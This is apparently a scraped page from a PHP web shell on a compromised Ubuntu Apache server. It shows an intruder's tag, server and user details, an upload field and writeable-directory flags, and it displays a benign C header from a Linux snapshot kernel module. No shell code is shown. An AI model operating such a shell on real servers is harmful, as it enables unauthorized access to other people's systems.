Heray-Was-Here
Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver9 5.15.0-170-generic #180-Ubuntu SMP Fri Jan 9 16:10:31 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.24
Disable Function : NONE
Directory :  /var/lib/dkms/synosnap/0.12.10/source/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/lib/dkms/synosnap/0.12.10/source/includes.h
/* SPDX-License-Identifier: GPL-2.0-only */

/*
 * Copyright (C) 2015 Datto Inc.
 * Additional contributions by Elastio Software, Inc are Copyright (C) 2020 Elastio Software Inc.
 */

#ifndef ELASTIO_SNAP_INCLUDES_H_
#define ELASTIO_SNAP_INCLUDES_H_

#include <linux/module.h>
#include <linux/moduleparam.h>
#include <linux/blkdev.h>
// 'genhd.h' has been removed and 'gendisk' struct has been moved to the 'blkdev.h' in the kernel 5.18.
// Old compilers may not have '__has_include' macro, but 'genhd.h' exists on those systems.
#if defined __has_include
# if __has_include (<linux/genhd.h>)
#  include <linux/genhd.h>
# endif
#else
# include <linux/genhd.h>
#endif
#include <linux/kthread.h>
#include <linux/miscdevice.h>
#include <linux/proc_fs.h>
#include <linux/seq_file.h>
#include <linux/mount.h>
#include <linux/buffer_head.h>
#include <linux/namei.h>
#include <linux/unistd.h>
#include <linux/vmalloc.h>
#include <linux/random.h>
#include <asm/div64.h>
#include <linux/mm.h>
#include <linux/blk-mq.h>

#endif

Hry